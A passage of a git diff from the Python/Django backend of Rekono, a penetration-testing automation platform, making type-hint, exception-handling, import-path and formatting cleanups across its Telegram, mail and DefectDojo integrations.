+router.register("ports", PortViewSet) +router.register("paths", PathViewSet) +router.register("technologies", TechnologyViewSet) +router.register("vulnerabilities", VulnerabilityViewSet) +router.register("credentials", CredentialViewSet) +router.register("exploits", ExploitViewSet) urlpatterns = router.urls diff --git a/src/backend/framework/apps.py b/src/backend/framework/apps.py index c4cc9bc41..98ce3f533 100644 --- a/src/backend/framework/apps.py +++ b/src/backend/framework/apps.py @@ -16,17 +16,18 @@ def ready(self) -> None: post_migrate.connect(self._load_fixtures, sender=self) def _load_fixtures(self, **kwargs: Any) -> None: - if self.skip_if_model_exists: - for model in self._get_models(): - if model and model.objects.exists(): - return # pragma: no cover - management.call_command( - loaddata.Command(), - *( - self.fixtures_path / fixture - for fixture in sorted(self.fixtures_path.rglob("*.json")) + if self.fixtures_path: + if self.skip_if_model_exists: + for model in self._get_models(): + if model and model.objects.exists(): + return # pragma: no cover + management.call_command( + loaddata.Command(), + *( + self.fixtures_path / fixture + for fixture in sorted(self.fixtures_path.rglob("*.json")) + ) ) - ) def _get_models(self) -> List[Any]: return [] # pragma: no cover diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py index 92c8d7635..7248fbd9a 100644 --- a/src/backend/framework/fields.py +++ b/src/backend/framework/fields.py @@ -1,4 +1,4 @@ -from typing import Any +from typing import Any, Callable, Optional from django.forms import ValidationError from drf_spectacular.types import OpenApiTypes @@ -20,7 +20,7 @@ class ProtectedSecretField(Field): def __init__( self, - validator: callable = None, + validator: Optional[Callable] = None, read_only=False, write_only=False, required=None, @@ -101,5 +101,5 @@ def to_internal_value(self, data: str) -> int: """ try: return self.model[data.upper()].value - except: - raise ValidationError(f"Invalid value", code=self.model.__class__.__name__) + except Exception: + raise ValidationError("Invalid value", code=self.model.__class__.__name__) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 66db8f1f8..bbecbd415 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -1,5 +1,5 @@ import importlib -from typing import Any, Dict, List, Optional +from typing import Any, Dict, List, Optional, Callable, cast import requests import urllib3 @@ -26,7 +26,7 @@ def get_project(self) -> Any: @classmethod def get_project_field(cls) -> str: - return None + return "" def _get_related_class(self, package: str, name: str) -> Any: try: @@ -38,7 +38,8 @@ def _get_related_class(self, package: str, name: str) -> Any: module, name[0].upper() + name[1:].lower().replace(" ", "").replace("-", ""), ) - except (AttributeError, ModuleNotFoundError) as ex: + except (AttributeError, ModuleNotFoundError): + # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import module = importlib.import_module(f"{package}.base") type = package.split(".")[-1][:-1] cls = getattr(module, f"Base{type[0].upper() + type[1:].lower()}") @@ -92,7 +93,7 @@ def __init__( type: type, field: str, contains: bool = False, - processor: callable = None, + processor: Optional[Callable] = None, ) -> None: self.type = type self.field = field @@ -107,7 +108,7 @@ def _clean_path(self, value: str) -> str: def _get_url( self, host: str, - port: int = None, + port: Optional[int] = None, endpoint: str = "", protocols: List[str] = ["http", "https"], ) -> Optional[str]: @@ -138,16 +139,16 @@ def _get_url( ) try: # nosemgrep: python.requests.security.disabled-cert-validation.disabled-cert-validation - requests.get(url_to_test, timeout=5, verify=False) + requests.get(url_to_test, timeout=5, verify=False) # nosec return url_to_test - except: + except Exception: # nosec continue return None def _compare_filter( self, filter: Any, value: Any, negative: bool = False, contains: bool = False ) -> bool: - comparison = lambda f, v: f == v if not contains else f in v + comparison = lambda f, v: f == v if not contains else f in v # noqa: E731 return ( comparison(filter, value) if not negative else not comparison(filter, value) ) @@ -180,7 +181,11 @@ def filter(self, argument_input: Any, target: Any = None) -> bool: if ( issubclass(filter.type, models.TextChoices) and self._compare_filter( - filter.type[match_value.upper()], field_value, negative + cast(models.TextChoices, filter.type)[ + match_value.upper() + ], + field_value, + negative, ) ) or ( hasattr(self, match_value) @@ -197,7 +202,7 @@ def filter(self, argument_input: Any, target: Any = None) -> bool: and_condition = True elif not or_condition: return False - except (ValueError, KeyError) as ex: + except (ValueError, KeyError): continue if not or_condition and and_condition: return True diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index f4690c943..fe1863c9f 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -1,5 +1,5 @@ import logging -from typing import Any, List +from typing import Any, List, Callable from urllib.parse import urlparse import requests @@ -37,7 +37,7 @@ def _create_session(self, url: str) -> requests.Session: return session def _request( - self, method: callable, url: str, json: bool = True, **kwargs: Any + self, method: Callable, url: str, json: bool = True, **kwargs: Any ) -> Any: try: response = method(url, **kwargs) @@ -68,7 +68,7 @@ def _get_users_to_notify(self, execution: Execution) -> List[Any]: } ).exclude(id=execution.task.executor.id) ) - return users + return list(users) def _notify_execution( self, users: List[Any], execution: Execution, findings: List[Finding] diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index 501758b9c..449d09278 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -22,13 +22,13 @@ class BaseQueue: def _get_queue(self) -> Queue: return django_rq.get_queue(self.name) - def cancel_job(self, job_id: str) -> Job: + def cancel_job(self, job_id: str) -> None: job = self._get_queue().fetch_job(job_id) if job: logger.info(f"[{self.name}] Job {job_id} has been cancelled") job.cancel() - def delete_job(self, job_id: str) -> Job: + def delete_job(self, job_id: str) -> None: job = self._get_queue().fetch_job(job_id) if job: logger.info(f"[{self.name}] Job {job_id} has been deleted") @@ -68,7 +68,7 @@ def _calculate_executions( input_technologies: List[InputTechnology], wordlists: List[Wordlist], ) -> List[Dict[int, List[BaseInput]]]: - executions = [{0: []}] + executions: List[Dict[int, List[BaseInput]]] = [{0: []}] input_types_used = set() findings_by_type = BaseQueue._get_findings_by_type(findings) for index, input_type, source in [ diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index c08516c19..e207f1899 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -1,4 +1,4 @@ -from typing import List, Self +from typing import List, Self, Optional from django.apps import apps from django.db import models @@ -33,7 +33,7 @@ def _get_class_from_reference(self, reference: str) -> BaseInput: app_label, model_name = reference.split(".", 1) return apps.get_model(app_label=app_label, model_name=model_name) - def get_model_class(self) -> BaseInput | None: + def get_model_class(self) -> Optional[BaseInput]: """Get related model from 'model' reference. Returns: @@ -41,7 +41,7 @@ def get_model_class(self) -> BaseInput | None: """ return self._get_class_from_reference(self.model) - def get_fallback_model_class(self) -> BaseInput | None: + def get_fallback_model_class(self) -> Optional[BaseInput]: """Get callback model from 'fallback_model' reference. Returns: diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 5fc8fe24e..302243837 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -3,7 +3,7 @@ from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from targets.models import Target # Create your models here. diff --git a/src/backend/parameters/urls.py b/src/backend/parameters/urls.py index b69384642..2d163438c 100644 --- a/src/backend/parameters/urls.py +++ b/src/backend/parameters/urls.py @@ -1,9 +1,8 @@ -from rest_framework.routers import SimpleRouter - from parameters.views import InputTechnologyViewSet, InputVulnerabilityViewSet +from rest_framework.routers import SimpleRouter router = SimpleRouter() -router.register('parameters/technologies', InputTechnologyViewSet) -router.register('parameters/vulnerabilities', InputVulnerabilityViewSet) +router.register("parameters/technologies", InputTechnologyViewSet) +router.register("parameters/vulnerabilities", InputVulnerabilityViewSet) urlpatterns = router.urls diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index 5846b115b..363641fb9 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -1,6 +1,6 @@ from datetime import timedelta from pathlib import Path as PathFile -from typing import Any, Dict, List +from typing import Any, Dict, List, Callable, Optional import requests from django.utils import timezone @@ -32,7 +32,7 @@ def __init__(self) -> None: } def _request( - self, method: callable, url: str, json: bool = True, **kwargs: Any + self, method: Callable, url: str, json: bool = True, **kwargs: Any ) -> Any: return super()._request( method, @@ -59,14 +59,14 @@ def is_available(self) -> bool: try: self._request(requests.get, "/test_types/", timeout=5) return True - except: + except Exception: return False def exists(self, entity_name: str, id: int) -> bool: try: self._request(self.session.get, f"/{entity_name}/{id}/") return True - except: + except Exception: return False def create_product_type(self, name: str, description: str) -> Dict[str, Any]: @@ -135,7 +135,7 @@ def _create_test( def _create_endpoint( self, product: int, endpoint: Path, target: Target - ) -> Dict[str, Any]: + ) -> Optional[Dict[str, Any]]: try: return self._request( self.session.post, @@ -239,6 +239,7 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non self.settings.test, ) test_id = new_test.get("id") - new_finding = self._create_finding(test_id, finding) - finding.defect_dojo_id = new_finding.get("id") + if test_id: + new_finding = self._create_finding(test_id, finding) + finding.defect_dojo_id = new_finding.get("id") finding.save(update_fields=["defect_dojo_id"]) diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index 39c3bc4c2..13aea5f02 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -2,7 +2,7 @@ from django.db import models from framework.models import BaseEncrypted, BaseModel from projects.models import Project -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from targets.models import Target # Create your models here. diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 8e6ffc9fd..365ea3786 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -1,4 +1,4 @@ -from typing import Any, Dict +from typing import Any, Dict, cast from django.core.validators import MaxValueValidator, MinValueValidator from django.forms import ValidationError @@ -19,7 +19,7 @@ Serializer, SerializerMethodField, ) -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator class DefectDojoSettingsSerializer(ModelSerializer): @@ -48,7 +48,7 @@ def get_is_available(self, instance: DefectDojoSettings) -> bool: return DefectDojo().is_available() -class BaseDefectDojoSerializer: +class BaseDefectDojoSerializer(Serializer): client = None def _get_client(self) -> DefectDojo: @@ -94,7 +94,7 @@ class Meta: ) -class DefectDojoProductTypeSerializer(BaseDefectDojoSerializer, Serializer): +class DefectDojoProductTypeSerializer(BaseDefectDojoSerializer): id = IntegerField(read_only=True) name = CharField( required=True, @@ -117,7 +117,7 @@ def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: ) -class DefectDojoProductSerializer(BaseDefectDojoSerializer, Serializer): +class DefectDojoProductSerializer(BaseDefectDojoSerializer): id = IntegerField(read_only=True) product_type = IntegerField( required=True, @@ -149,7 +149,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: attrs = super().validate(attrs) attrs["project"] = get_object_or_404( Project, - id=attrs.get("project_id").id, + id=cast(Project, attrs.get("project_id")).id, members=self.context.get("request").user.id, ) return attrs @@ -164,7 +164,7 @@ def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: ) -class DefectDojoEngagementSerializer(BaseDefectDojoSerializer, Serializer): +class DefectDojoEngagementSerializer(BaseDefectDojoSerializer): id = IntegerField(read_only=True) product = IntegerField( required=True, diff --git a/src/backend/platforms/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py index 9b2105f3e..4d629088f 100644 --- a/src/backend/platforms/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -56,7 +56,7 @@ def create(self, request: Request) -> Response: try: response = serializer.create(serializer.validated_data) return Response({"id": response.get("id")}, status=status.HTTP_201_CREATED) - except: + except Exception: return Response( {"defect-dojo": "Error creating instance on Defect-Dojo"}, status=status.HTTP_400_BAD_REQUEST, diff --git a/src/backend/platforms/mail/models.py b/src/backend/platforms/mail/models.py index 961122713..94fb9237d 100644 --- a/src/backend/platforms/mail/models.py +++ b/src/backend/platforms/mail/models.py @@ -1,7 +1,7 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models from framework.models import BaseEncrypted -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator # Create your models here. diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index cf86f4a05..e6dedac06 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -39,13 +39,18 @@ def __init__(self) -> None: os.environ["SSL_CERT_FILE"] = certifi.where() def is_available(self) -> bool: - if not self.settings or not self.settings.host or not self.settings.port: + if ( + not self.settings + or not self.settings.host + or not self.settings.port + or CONFIG.testing + ): return False try: self.backend.open() self.backend.close() return True - except: + except Exception: return False def _send_messages_in_background( @@ -56,24 +61,26 @@ def _send_messages_in_background( ).start() def _send_messages( - self, users: List[Any], subject: str, template: str, data: Dict[str, Any] + self, users: List[Any], subject: str, template_path: str, data: Dict[str, Any] ) -> None: + if not self.is_available(): + return try: message = EmailMultiAlternatives( subject, "", "Rekono ", [u.email for u in users] ) - template = get_template(template) + template = get_template(template_path) data["rekono_url"] = CONFIG.frontend_url # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 message.attach_alternative(template.render(data), "text/html") self.backend.send_messages([message]) - except: + except Exception: logger.error("[Mail] Error sending email message") def _notify_execution( self, users: List[Any], execution: Execution, findings: List[Finding] ) -> None: - findings_by_class = {} + findings_by_class: Dict[Any, List[Finding]] = {} for finding in findings: if findings.__class__.__name__.lower() not in findings_by_class: findings_by_class[findings.__class__.__name__.lower()] = [] diff --git a/src/backend/platforms/mail/serializers.py b/src/backend/platforms/mail/serializers.py index bf9a61baa..7a9a9bb2e 100644 --- a/src/backend/platforms/mail/serializers.py +++ b/src/backend/platforms/mail/serializers.py @@ -2,7 +2,7 @@ from platforms.mail.models import SMTPSettings from platforms.mail.notifications import SMTP from rest_framework.serializers import ModelSerializer, SerializerMethodField -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator class SMTPSettingsSerializer(ModelSerializer): diff --git a/src/backend/platforms/nvd_nist.py b/src/backend/platforms/nvd_nist.py index e0e4f74c2..abe78cac8 100644 --- a/src/backend/platforms/nvd_nist.py +++ b/src/backend/platforms/nvd_nist.py @@ -28,7 +28,7 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non data = self._request( self.session.get, self.url.format(cve=finding.cve) ) - except: + except Exception: # nosec continue cve_info = data["result"]["CVE_Items"][0] for description in ( diff --git a/src/backend/platforms/telegram_app/bot/bot.py b/src/backend/platforms/telegram_app/bot/bot.py index 43269c151..a6014b88b 100644 --- a/src/backend/platforms/telegram_app/bot/bot.py +++ b/src/backend/platforms/telegram_app/bot/bot.py @@ -20,10 +20,10 @@ SelectProject, Tool, ) +from telegram.ext import Application from platforms.telegram_app.framework import BaseTelegram from platforms.telegram_app.models import TelegramSettings from telegram.error import Forbidden, InvalidToken -from telegram.ext import Application from telegram.warnings import PTBUserWarning filterwarnings( @@ -56,13 +56,18 @@ async def _post_init(self, application: Application) -> None: bot_commands = [] for command in self.commands: bot_commands.append((command.get_name(), command.help)) - self.app.add_handler(command) - await self.app.bot.set_my_commands(bot_commands) + application.add_handler(command) + await application.bot.set_my_commands(bot_commands) def _wait_for_token(self, sleep_time: int = 60) -> None: - if not self.settings or not self.settings.secret: - logger.info("[Telegram Bot] Waiting while Telegram token is not configured") + self.settings = TelegramSettings.objects.first() + first_iteration = True while not self.settings or not self.settings.secret: + if first_iteration: + logger.info( + "[Telegram Bot] Waiting while Telegram token is not configured" + ) + first_iteration = False time.sleep(sleep_time) self.settings = TelegramSettings.objects.first() self.app = self._get_app() diff --git a/src/backend/platforms/telegram_app/bot/commands.py b/src/backend/platforms/telegram_app/bot/commands.py index 7ac92a784..14a2b3bdf 100644 --- a/src/backend/platforms/telegram_app/bot/commands.py +++ b/src/backend/platforms/telegram_app/bot/commands.py @@ -74,7 +74,7 @@ def _update_or_create_telegram_chat_async(self, chat_id: int) -> TelegramChat: async def _execute_command(self, update: Update, context: CallbackContext) -> None: await super()._execute_command(update, context) telegram_chat, plain_otp = await self._update_or_create_telegram_chat_async( - update.effective_chat.id + update.effective_chat.id # type: ignore ) logger.info( f"[Security] New login request using the Telegram bot from the chat {telegram_chat.chat_id}" @@ -113,7 +113,7 @@ def _logout_user_in_telegram_async(self, chat_id: int) -> None: async def _execute_command(self, update: Update, context: CallbackContext) -> None: await super()._execute_command(update, context) - await self._logout_user_in_telegram_async(update.effective_chat.id) + await self._logout_user_in_telegram_async(update.effective_chat.id) # type: ignore await self._reply(update, "Bye\!") @@ -121,7 +121,7 @@ class Cancel(BaseCommand): help = "Cancel current operation" section = Section.BASIC - async def _execute_command(self, update: Update, context: CallbackContext) -> None: + async def _execute_command(self, update: Update, context: CallbackContext) -> int: await super()._execute_command(update, context) self._remove_all_context_values(context) await self._reply(update, "Operation has been cancelled") diff --git a/src/backend/platforms/telegram_app/bot/conversations.py b/src/backend/platforms/telegram_app/bot/conversations.py index 76be7f61e..0880da598 100644 --- a/src/backend/platforms/telegram_app/bot/conversations.py +++ b/src/backend/platforms/telegram_app/bot/conversations.py @@ -1,4 +1,4 @@ -from typing import Any +from typing import Any, Callable, List from platforms.telegram_app.bot.commands import Cancel from platforms.telegram_app.bot.enums import Context, Section @@ -31,7 +31,7 @@ class BaseConversation(ConversationHandler, BaseTelegramBot): - _states_methods = [] + _states_methods: List[Callable] = [] first_state = 0 def __init__(self, **kwargs: Any) -> None: diff --git a/src/backend/platforms/telegram_app/bot/framework.py b/src/backend/platforms/telegram_app/bot/framework.py index 78d1d01d6..af888a328 100644 --- a/src/backend/platforms/telegram_app/bot/framework.py +++ b/src/backend/platforms/telegram_app/bot/framework.py @@ -1,5 +1,5 @@ import logging -from typing import Any, Tuple +from typing import Any from asgiref.sync import sync_to_async from platforms.telegram_app.bot.enums import Context @@ -30,13 +30,15 @@ async def _execute_command(self, update: Update, context: CallbackContext) -> No return def _is_valid_update(self, update: Update) -> bool: - return bool(update.effective_chat) and bool(update.effective_message) + return ( + update.effective_chat is not None and update.effective_message is not None + ) async def _reply( self, update: Update, message: str, reply_markup: Any = None ) -> None: if self._is_valid_update(update): - await update.effective_message.reply_text( + await update.effective_message.reply_text( # type: ignore message, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2 ) @@ -46,7 +48,8 @@ def _get_context_value(self, context: CallbackContext, key: str) -> Any: def _add_context_value( self, context: CallbackContext, key: str, value: Any ) -> None: - context.chat_data[key] = value + if context.chat_data: + context.chat_data[key] = value def _remove_context_value(self, context: CallbackContext, key: str) -> None: if context.chat_data and key in context.chat_data: @@ -74,11 +77,11 @@ async def _get_active_telegram_chat( return self.chat if self._is_valid_update(update): self.chat = await self._get_active_telegram_chat_async( - update.effective_chat.id + update.effective_chat.id # type: ignore ) if not self.chat: logger.error( - f"[Security] Unauthenticated Telegram bot request from chat {update.effective_chat.id}" + f"[Security] Unauthenticated Telegram bot request from chat {update.effective_chat.id}" # type: ignore ) await self._reply( update, diff --git a/src/backend/platforms/telegram_app/bot/mixins/authentications.py b/src/backend/platforms/telegram_app/bot/mixins/authentications.py index d1d539488..5e746182a 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/authentications.py +++ b/src/backend/platforms/telegram_app/bot/mixins/authentications.py @@ -2,7 +2,7 @@ from authentications.serializers import AuthenticationSerializer from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin -from telegram import InlineKeyboardButton, Update +from telegram import Update from telegram.ext import CallbackContext, ConversationHandler diff --git a/src/backend/platforms/telegram_app/bot/mixins/framework.py b/src/backend/platforms/telegram_app/bot/mixins/framework.py index f965369eb..882e4352c 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/framework.py +++ b/src/backend/platforms/telegram_app/bot/mixins/framework.py @@ -1,5 +1,5 @@ import logging -from typing import Any, Dict, List, Tuple +from typing import Any, Dict, List, Tuple, Callable, Optional from asgiref.sync import sync_to_async from django.db import IntegrityError @@ -16,12 +16,12 @@ class BaseMixin(BaseTelegramBot): - def _get_current_state(self, method: callable) -> int: + def _get_current_state(self, method: Callable) -> int: if not hasattr(self, "_states_methods"): return ConversationHandler.END return self._states_methods.index(method) - def _get_next_state(self, method: callable) -> int: + def _get_next_state(self, method: Callable) -> int: current_state = self._get_current_state(method) return ( ConversationHandler.END @@ -29,7 +29,7 @@ def _get_next_state(self, method: callable) -> int: else current_state + 1 ) - def _get_previous_state(self, method: callable) -> int: + def _get_previous_state(self, method: Callable) -> int: current_state = self._get_current_state(method) return current_state if current_state == 0 else current_state - 1 @@ -207,11 +207,11 @@ async def _create( previous_state: int, next_state: int, chat: TelegramChat = None, - ) -> int: + ) -> Tuple[int, Optional[Any]]: chat = chat or await self._get_active_telegram_chat(update) if not chat or not update.effective_message: return ConversationHandler.END, None - if update.effective_message.text.lower() == "/cancel": + if (update.effective_message.text or "").lower() == "/cancel": return await Cancel()._execute_command(update, context), None instance, errors = await self._save_serializer_async( serializer_class(data=data) diff --git a/src/backend/platforms/telegram_app/bot/mixins/parameters.py b/src/backend/platforms/telegram_app/bot/mixins/parameters.py index fdd2909a4..71e83cf45 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/parameters.py +++ b/src/backend/platforms/telegram_app/bot/mixins/parameters.py @@ -79,7 +79,9 @@ async def _create_input_vulnerability( InputVulnerabilitySerializer, { "target": target.id if target else None, - "cve": update.effective_message.text, + "cve": update.effective_message.text + if update.effective_message + else None, }, self._get_previous_state(self._create_input_vulnerability), self._get_next_state(self._create_input_vulnerability), diff --git a/src/backend/platforms/telegram_app/bot/mixins/targets.py b/src/backend/platforms/telegram_app/bot/mixins/targets.py index 650b5fb03..baf5ca537 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/targets.py +++ b/src/backend/platforms/telegram_app/bot/mixins/targets.py @@ -59,7 +59,9 @@ async def _create_target(self, update: Update, context: CallbackContext) -> int: TargetSerializer, { "project": project.id if project else None, - "target": update.effective_message.text, + "target": update.effective_message.text + if update.effective_message + else None, }, self._get_previous_state(self._create_target), self._get_next_state(self._create_target), diff --git a/src/backend/platforms/telegram_app/bot/mixins/wordlists.py b/src/backend/platforms/telegram_app/bot/mixins/wordlists.py index 9b62cd6d4..d0a2d1c66 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/wordlists.py +++ b/src/backend/platforms/telegram_app/bot/mixins/wordlists.py @@ -1,7 +1,6 @@ from typing import List from asgiref.sync import sync_to_async -from django.db.models import QuerySet from input_types.enums import InputTypeName from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin @@ -101,7 +100,7 @@ async def _save_wordlist(self, update: Update, context: CallbackContext) -> int: and update.callback_query.data and update.callback_query.data == self.default_wordlist ): - update.callback_query.answer() + await update.callback_query.answer() return await self._go_to_next_state( update, context, self._get_next_state(self._save_wordlist) ) diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py index 3dd22852b..d0f2567fe 100644 --- a/src/backend/platforms/telegram_app/framework.py +++ b/src/backend/platforms/telegram_app/framework.py @@ -1,6 +1,6 @@ import asyncio import logging -from typing import Any, List +from typing import Any, Optional from platforms.telegram_app.models import TelegramChat, TelegramSettings from telegram.constants import ParseMode @@ -12,12 +12,12 @@ class BaseTelegram: - def __init__(self, **kwargs: Any) -> None: + def __init__(self) -> None: self.settings = TelegramSettings.objects.first() self.app = self.initialize() self.date_format = "%Y-%m-%d %H:%M:%S" - def initialize(self) -> None: + def initialize(self) -> Optional[Application]: self.app = self._get_app() if self.app and self.app.bot: try: @@ -29,7 +29,7 @@ def initialize(self) -> None: def get_bot_name(self) -> str: return self.app.bot.username if self.app and self.app.bot else None - def _get_app(self) -> Any: + def _get_app(self) -> Optional[Application]: if self.settings and self.settings.secret: try: return ( @@ -40,6 +40,7 @@ def _get_app(self) -> Any: ) except (InvalidToken, Forbidden): self._handle_invalid_token() + return None async def _post_init(self, application: Application) -> None: pass diff --git a/src/backend/platforms/telegram_app/management/__init__.py b/src/backend/platforms/telegram_app/management/__init__.py index 057243216..2226fb739 100644 --- a/src/backend/platforms/telegram_app/management/__init__.py +++ b/src/backend/platforms/telegram_app/management/__init__.py @@ -1 +1 @@ -'''Management commands.''' +"""Management commands.""" diff --git a/src/backend/platforms/telegram_app/management/commands/__init__.py b/src/backend/platforms/telegram_app/management/commands/__init__.py index 057243216..2226fb739 100644 --- a/src/backend/platforms/telegram_app/management/commands/__init__.py +++ b/src/backend/platforms/telegram_app/management/commands/__init__.py @@ -1 +1 @@ -'''Management commands.''' +"""Management commands.""" diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py index 2e4701efb..5ab3b7df2 100644 --- a/src/backend/platforms/telegram_app/models.py +++ b/src/backend/platforms/telegram_app/models.py @@ -3,8 +3,11 @@ from framework.models import BaseEncrypted, BaseModel from rekono.settings import AUTH_USER_MODEL from security.authorization.roles import Role -from security.input_validator import FutureDatetimeValidator, Regex, Validator -from users.models import User +from security.validators.input_validator import ( + FutureDatetimeValidator, + Regex, + Validator, +) # Create your models here. diff --git a/src/backend/platforms/telegram_app/notifications/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py index 644adb8ce..45bb7e55e 100644 --- a/src/backend/platforms/telegram_app/notifications/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -1,4 +1,4 @@ -from typing import List +from typing import Dict, List, Any from django.forms.models import model_to_dict from executions.models import Execution @@ -20,7 +20,7 @@ def is_available(self) -> bool: def _notify_execution( self, users: List[User], execution: Execution, findings: List[Finding] ) -> None: - texts_by_type = {} + texts_by_type: Dict[Any, List[str]] = {} for finding in findings: if finding.__class__ not in texts_by_type: texts_by_type[finding.__class__] = [] diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index 01f445b50..a22470f18 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -10,7 +10,7 @@ from rest_framework.exceptions import AuthenticationFailed from rest_framework.serializers import ModelSerializer, SerializerMethodField from security.cryptography.hashing import hash -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator logger = logging.getLogger() diff --git a/src/backend/processes/models.py b/src/backend/processes/models.py index ce047a14b..8d484f953 100644 --- a/src/backend/processes/models.py +++ b/src/backend/processes/models.py @@ -1,7 +1,7 @@ from django.db import models from framework.models import BaseLike, BaseModel from rekono.settings import AUTH_USER_MODEL -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from taggit.managers import TaggableManager from tools.models import Configuration diff --git a/src/backend/processes/urls.py b/src/backend/processes/urls.py index 52090abfe..eb02d060d 100644 --- a/src/backend/processes/urls.py +++ b/src/backend/processes/urls.py @@ -4,7 +4,7 @@ # Register your views here. router = SimpleRouter() -router.register('processes', ProcessViewSet) -router.register('steps', StepViewSet) +router.register("processes", ProcessViewSet) +router.register("steps", StepViewSet) urlpatterns = router.urls diff --git a/src/backend/projects/models.py b/src/backend/projects/models.py index 609e71c79..079e5cb18 100644 --- a/src/backend/projects/models.py +++ b/src/backend/projects/models.py @@ -3,7 +3,7 @@ from django.db import models from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from taggit.managers import TaggableManager # Create your models here. diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index bdb289f26..436ac4034 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -13,7 +13,6 @@ ProjectMemberPermission, RekonoModelPermission, ) -from users.models import User # Create your views here. diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index d419fe27a..d3ea50e73 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -139,7 +139,7 @@ "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, { - "NAME": "security.input_validator.PasswordValidator", + "NAME": "security.validators.input_validator.PasswordValidator", }, ] @@ -198,7 +198,7 @@ # API Rest # ################################################################################ - +# nosemgrep: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config REST_FRAMEWORK: Dict[str, Any] = { "DEFAULT_METADATA_CLASS": None, "DEFAULT_SCHEMA_CLASS": "drf_spectacular.openapi.AutoSchema", @@ -252,7 +252,6 @@ "DESCRIPTION": DESCRIPTION, "VERSION": VERSION, "PREPROCESSING_HOOKS": ["drf_spectacular.hooks.preprocess_exclude_path_format"], - "ENUM_NAME_OVERRIDES": {}, "SCHEMA_PATH_PREFIX_INSERT": CONFIG.root_path, "ENUM_NAME_OVERRIDES": { "AuthenticationType": "authentications.enums.AuthenticationType", diff --git a/src/backend/requirements-dev.txt b/src/backend/requirements-dev.txt index 219ea071b..e3a2ee4e3 100644 --- a/src/backend/requirements-dev.txt +++ b/src/backend/requirements-dev.txt @@ -2,5 +2,4 @@ black==23.12.1 coverage==7.3.4 flake8==6.1.0 -isort==5.13.2 mypy==1.8.0 \ No newline at end of file diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py index 24f2b2067..7f176ffd0 100644 --- a/src/backend/security/authentication/api.py +++ b/src/backend/security/authentication/api.py @@ -2,7 +2,6 @@ from api_tokens.models import ApiToken from django.utils import timezone -from rekono.settings import CONFIG from rest_framework.authentication import TokenAuthentication from rest_framework.exceptions import AuthenticationFailed from security.cryptography.hashing import hash diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index 7c700ae5c..a75df423e 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -21,7 +21,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: return attrs @classmethod - def 